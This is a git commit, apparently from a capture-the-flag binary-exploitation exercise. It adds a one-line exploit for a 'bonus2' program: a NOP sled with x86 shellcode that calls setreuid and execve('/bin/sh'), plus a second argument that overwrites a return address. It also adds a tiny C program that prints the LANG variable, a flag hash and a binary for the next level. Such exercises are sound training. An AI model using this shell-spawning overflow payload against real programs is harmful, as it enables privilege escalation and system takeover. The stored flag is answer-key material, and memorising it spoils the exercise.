feat: bonus2 + bonus3 elf

This commit is contained in:
gbrochar 2025-05-02 20:53:10 +02:00
parent c26cd40d2e
commit e63a5a7333
4 changed files with 11 additions and 0 deletions

View File

@ -0,0 +1 @@
LANG=nl ./bonus2 `python -c "print('\x90'*250+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68')"` `python -c "print('A'*24+'\x00\xfd\xff\xbf')"`

9
bonus2/Ressources/test.c Normal file
View File

@ -0,0 +1,9 @@
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("%s\n", getenv("LANG"));
return 0;
}

1
bonus2/flag Normal file
View File

@ -0,0 +1 @@
71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587

BIN
bonus3/Ressources/bonus3 Executable file

Binary file not shown.